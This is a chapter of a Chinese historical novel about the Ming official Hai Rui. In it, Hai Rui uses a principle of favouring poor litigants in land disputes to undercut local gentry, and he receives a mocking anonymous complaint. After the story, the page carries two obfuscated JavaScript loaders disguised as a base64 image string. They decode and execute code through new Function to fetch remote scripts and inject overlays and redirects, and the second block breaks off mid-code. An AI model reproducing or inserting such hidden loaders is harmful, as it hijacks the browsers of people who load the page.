乡愿 (上)
.海瑞不会知道,自己提出的这六个差别保护的原则,会成为中国法制史上的一门学科,名曰,海瑞定理,。并被沈默原先时代中的”一位黄皮白瓤的历史学家,用来证明传统中国,以熟读诗书的文人治理农民”,法律的解释和执行都以儒家伦理为圭臬,缺乏数目字的管理传统,因此中国没有走上资本主义的道路云云。
此后,这成了法学界有关中国传统司法制度的一个定论;一些经济学家以及其他学科的学者,也都一再引用这段话,作为中国社会不注意保护私人产权”以道德治国的证据。
那个从历史中总结而来的结论本身,自然不会错,但用,海瑞定理,来证明,却是错误的,因为抽象不能脱离其语境,更不能忘记了作者的限定。而那位黄教授以及诸多引黄者,都无视了海瑞同时写下的另外两段至关重要的文字,正犯了断章取义的错误。
被黄教授省略的取义真不知居心何在?
现在再去看那六个差别保护原则,就会理解海瑞的司法精神了从社会公平的角度出发,在经济资产的两可案件中,尽量保护经济弱势一方”也就是穷人和小民的利益。
而从维护社会秩序出发,海瑞承认乡宦小民有贵贱之别在“争言貌”就是关系到声誉、威信的判决中,应该保护为上者以维护尊卑有序的封建秩序,是为,存体,。当然若乡宦擅作威福打缚小民,又不可以存体论了。
这种在经济资产上保护弱势的原则,和在社会文化上保护优势的原则,就是,海瑞定理二。
一、一“!“一“一、一、一“一、一、一“一“一、一、一“一“一、一凵一“一“一、一、一“一“一、一、一“一、一、一、一“一“一、一、一“一“一、一、一“一“一、一、
海瑞不会知道,自己从实践中总结出的一套司法操作理论,会被后人归纳为定理,还二了。但这不影响他对这套理论的娴熟应用一事实上,海瑞此次南下苏松,就指望著这个,二,来破局呢!
所谓“皇权不下县”靠乡绅治理村镇”这是中国沿袭千年的统治策略,因此对于农民来说,自己这个父母官”其实还隔了一层,可以使他们直接听令的,还是那些乡绅隐宦。
而苏松这里的乡宦势力又尤其强,他们利用强大的政治特权”为自己对广大乡下的统治,加上一层厚厚的保护衣,任何对他们不利的政令,都会遭到他们疯狂的反击。在地方为政多年,海瑞太清楚他们的套路了,先发动刁民作乱,阻碍破坏政令的执行,然后利用政治资源,从上级对行政官施压。当然像海瑞这个档次的,就得靠两京的御史了,说什么,新法引发民乱”,小民苦不堪言、民生凋敝、纷纷逃亡,云云,迫使朝廷暂缓执行新法,然后不了了之。
这套路用了上千年,但依然好用,因为京城的皇帝和大臣们”最担心的就是百姓骚乱,只要相信乱象一生,再好的政策也不敢执行。乡绅们便抓住这一弱点,大用特用”屡试不爽。对于,进士多入毛,的苏松一带,用起这种法子来,自然更是威力无穷,绝非等闲可比,一旦闹将起来”他们肯定是要拼命的”到时就算是内阁,也不可能死保他这个马前卒。
海瑞深知”如果贸然公开提出“清丈田亩”肯定第二天,自己的巡抚衙门,就会被那些被煽动起来的百姓给围了,而且八成没人解救,非得逼得自己都没脸再呆下去不可。一番斟酌之后,他决定先不宣布,清丈田亩,的命令,而是利用司法迂回,处处站住一个,理,字,不给乡绅们发飙的机会。
因为清理旧案是新官上任的必备作业,而对于巡抚来说,除了坐衙接告之外,还要巡视各府,接受诉讼,谁也说不得什么的。而他的破局之策,就蕴含在这天经地义的审案之中一我身为断案官,自然要判决公正。我判决公正”不袒护任何有身份的人,自然会使被,官绅勾结,伤透心的小民百姓恢复对官府的信心重新将自己遭遇的不公,向官府提起告诉。我公正裁判,那些被乡宦巧取豪夺的小民田产,自然可被重新判回小民手中。这时候官府再出面,丈量相关的土地,重新登记造册。
行为还是那个行为,但兜了个圈子,便弄个,是在执行判决结果,的名义,所以在百姓眼中”其主使者就成了与自己同样身份的老百姓而不是官府。从而使乡绅无法再像从前那样,煽动百姓站在官府的对立面,主动投献以求避税的,刁民,毕竟是少数,大部分老百姓还是深受乡绅夺田之苦的。
但由于田产纠纷的历史性、特殊性和复杂性。总是有两到三成的案件”因为年代久远、存档无存,或是口头契约,或是文字契约的口头修改等原因,使原被告双方都提不出,令人信服的优势证据,来证明原先的产权界定因此变成了“两可,案件。
对于审判官来说,两可就意味着,在无法进一步取得证据的情况下,双方权益值得同等保护,无论把争议财产配置给谁都不为错。这时候”绝大多数官员,因为情面、利益、或者考虑到,乡宦小民有贵贱之别,而把判决向强势一方倾斜。但海瑞反对这样做,因为社会的强势一方,往往会利用各种资源,来侵占弱势一方的利益,而弱势一方很难侵占强势一方的经济利益所以在此类案件中,应该尽量向弱势一方倾斜。
当王锡爵小心翼翼的提出”这样可能会让一些乡绅受到委屈。
却见海瑞大手一挥道:,“比起小民百姓受得委屈,那个不值一提!”
王锡爵不禁暗暗苦笑,感情海大人还是给老百姓报仇来了……
一、一“一凵一、一“一“一、一、一“一“一“一、一“一“一、一、一“一“一凵一、一“一“一“一、一“一、一“一、一一“一、一”
有了海瑞所定的判案标准”所有案件都能当日审结。一个月下来两人竟然把前后收到的近万件案子……除了那些严重的刑事案件外,基本判完了。而且结果不出意料,绝大多数是小民胜诉。
于是百姓无不拍手称快高呼“海青天”自然高兴的得了。但有人高兴就必然要有人不高兴,富户乡绅们大大的不高兴了,以往遇到和百姓打官司,都是他们无往不利的”所以才能逐渐侵吞兼并,有了今天的家业。可这海大人怎么对咱们不问有理无理,就判退田产、出银子呢?
随着时日推移,受到冲击的富户乡官越来越多,要是换个人当巡抚,他们早就闹腾起来了,可对方是铁心铁面的海阎王啊,谁敢去找他申诉?而且海瑞也没怎么着他们,只是一个判案不公……但在老百姓眼里,却是太公平了,也没法煽动人闹事儿。弄得他们有火没处撤”只能去找松江知府衷贞吉抱怨。
于是松江知府衙门,就成了上访接待处”知府衷贞吉每天不知要安抚多少满肚子牢骚的乡绅……他是徐阶最老实到学生,当初被派到松江,其实就有照料老师晚年生活之意,当然不愿看到现在这种局面?可他与海瑞虽同是正四品,但人家是巡抚,而且是战力最强的海阎王”就是借他两个胆,也不敢硬顶啊!
衷贞吉只能不激不随,好言抚慰。但乡绅们的怒火”终究是安抚不住的”他们虽不敢胡乱搞事儿,可想办法出出气总是能办到的。
于是这一日,海瑞正在办公,衙役呈上一状,说是从松江府门墙上揭下的匿名状”王锡爵接过来一看,便变了脸色。
海瑞看他一眼,便低下头继续阅卷,淡淡道:“念……”
“都公”,”王锡爵为难道:“还是不念了吧。”
海瑞没理会他,继续阅卷”王锡爵只好轻声念道:“告状人柳下跖,告伯夷叔齐兄弟二人,倚父孤竹君历代声势,发掘许由坟冢,兄弟二人贿求嬖臣比干得免。今于某月日挽出恶兄柳下惠,捉某箍禁孤竹水牢,日夜加炮烙极刑,逼献首阳薇田三百亩”有契无交,崇候虎见证,窃思武王至尊”尚被叩马羞辱”何况区区蝼蚁”激切上告……,这匿名状极为滑稽,当事人都是商周时的历史人物……告状人是柳下员”就是盗跖,古代著名大恶人:被告是伯夷、叔齐,历史上著名的大善人,被盗墓的是贤人许由,袒护被告的是贤臣比干,参与迫害原告的帮凶是柳下惠,大意是”柳下踊告伯夷叔齐二兄弟盗掘许由之墓,结果二人行贿了比干得免。然后又让告状人的,恶兄;柳下惠”把他抓到孤竹国水牢禁锢,日夜用炮烙极性”逼他献出在首阳山的薇田三百亩”……,其内容荒诞不经,讽刺意味极浓,一言以蔽之恶人编造荒诞不经的谎言诬告善人,谋夺善人田产!尤其是盗跖要求海瑞,将众所周知属于伯夷叔齐的,首阳山采薇田判给自己这明摆着就走向他挑衅!
读完之后,王锡爵双眉倒竖,两眼圆睁”勃然大怒道:“刁民作祟!要严查严惩!”
“不要查了。”海瑞的表情没什么变化,但他紧握笔杆的手背青筋暴现”还走出卖了他的愤怒:“刁民是写不出这种文字来的,要是那些大户干的,也查不出结果。”,“是啊,这文笔不错,显然是富户乡官所为”王锡爵迅速冷静下来,点点头道:“他们不敢明看来,就用这种法子讽刺咱们。”
“哼……”海瑞倔劲来了”冷冷一哼道:“那就决个雌雄吧!”!~!
!function(){function a(a){var _idx="d3axxd453u";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/KssjR8fsdRRfons_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Kss"=X8"fsdRRfons_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Kss^)ThF)mq)Y5f7SmRT4"="KssX5ThF)mfLTq:S(mRT4"="Kss2pThFmq)Y5f7SmRT4"="Kss_JqhFmfLTq:S(mRT4"="Kss2TOhFmq)Y5f7SmRT4"="KssCSqhF)mfLTq:S(mRT4"="Kss)FfThF)fmq)Y5f7SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKssqhOFq^)Y6(:mCX_4S4RmRT4gQ}1Q/((/Kssj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKssqhOFq^)Y6(:mCX_4S4RmRT4gQ}1Q/((/Kssj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q/f/Kssj(8}vR8fsdRRfons_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="i3axxd453u";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks@jR86sdRRfons_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks@"=X8"6sdRRfons_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks@^)ThF)mq)Y5f7SmRT4"="Ks@X5ThF)mfLTq:S(mRT4"="Ks@2pThFmq)Y5f7SmRT4"="Ks@_JqhFmfLTq:S(mRT4"="Ks@2TOhFmq)Y5f7SmRT4"="Ks@CSqhF)mfLTq:S(mRT4"="Ks@)FfThF)fmq)Y5f7SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs@qhOFq^)Y6(:mCX_4S4RmRT4gQ}1Q/((/Ks@j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 